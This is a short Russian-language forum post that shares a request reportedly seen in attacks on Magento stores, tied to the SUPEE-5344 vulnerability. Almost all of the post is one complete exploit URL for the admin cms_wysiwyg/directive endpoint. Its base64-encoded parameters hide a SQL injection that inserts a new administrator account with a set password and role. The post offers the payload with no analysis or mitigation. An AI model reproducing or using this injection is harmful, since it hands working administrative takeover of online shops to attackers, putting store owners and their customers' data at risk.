Тема: Magneto SUPEE-5344
Показать сообщение отдельно
Старый 26.04.2015, 18:55   #1
recfrf
 
Регистрация: 30.07.2010
Сообщений: 40
Репутация: 1
По умолчанию Magneto SUPEE-5344

То что сейчас активно спамят по данным blog.sucuri.net с ру ip=)

добавляет админа
PHP код:

___directive и filter base64

site
.com/index.php/admin/cms_wysiwyg/directive/?forwarded=1&___directive=e3tibG9jayB0eXBlPSdNYWdlX0FkbWluaHRtbF9CbG9ja19SZXBvcnRfU2VhcmNoX0dyaWQnIG91dHB1dD0nZ2V0Q3N2RmlsZSd9fQ==&filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTsgU0VUIEBTQUxUID0gJ3JwJzsgU0VUIEBQQVNTID0gQ09OQ0FUKE1ENShDT05DQVQoIEBTQUxUICwgJ3BhU1N3b3JkJykgKSwgQ09OQ0FUKCc6JywgQFNBTFQgKSk7IFNFTEVDVCBARVhUUkEgOj0gTUFYKGV4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7IElOU0VSVCBJTlRPIGBhZG1pbl91c2VyYCAoYGZpcnN0bmFtZWAsIGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWAsYHJwX3Rva2VuYCxgcnBfdG9rZW5fY3JlYXRlZF9hdGApIFZBTFVFUyAoJ0JhY2t1cCcsJ0V4dGVuc2lvbicsJ21BaWwnLCd1U2VyJyxAUEFTUyxOT1coKSwwLDAsMSxARVhUUkEsTlVMTCwgTk9XKCkpOyBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKHBhcmVudF9pZCx0cmVlX2xldmVsLHNvcnRfb3JkZXIscm9sZV90eXBlLHVzZXJfaWQscm9sZV9uYW1lKSBWQUxVRVMgKDEsMiwwLCdVJywoU0VMRUNUIHVzZXJfaWQgRlJPTSBhZG1pbl91c2VyIFdIRVJFIHVzZXJuYW1lID0gJ3VTZXInKSwnQmFja3VwJyk7 
recfrf вне форума   Ответить с цитированием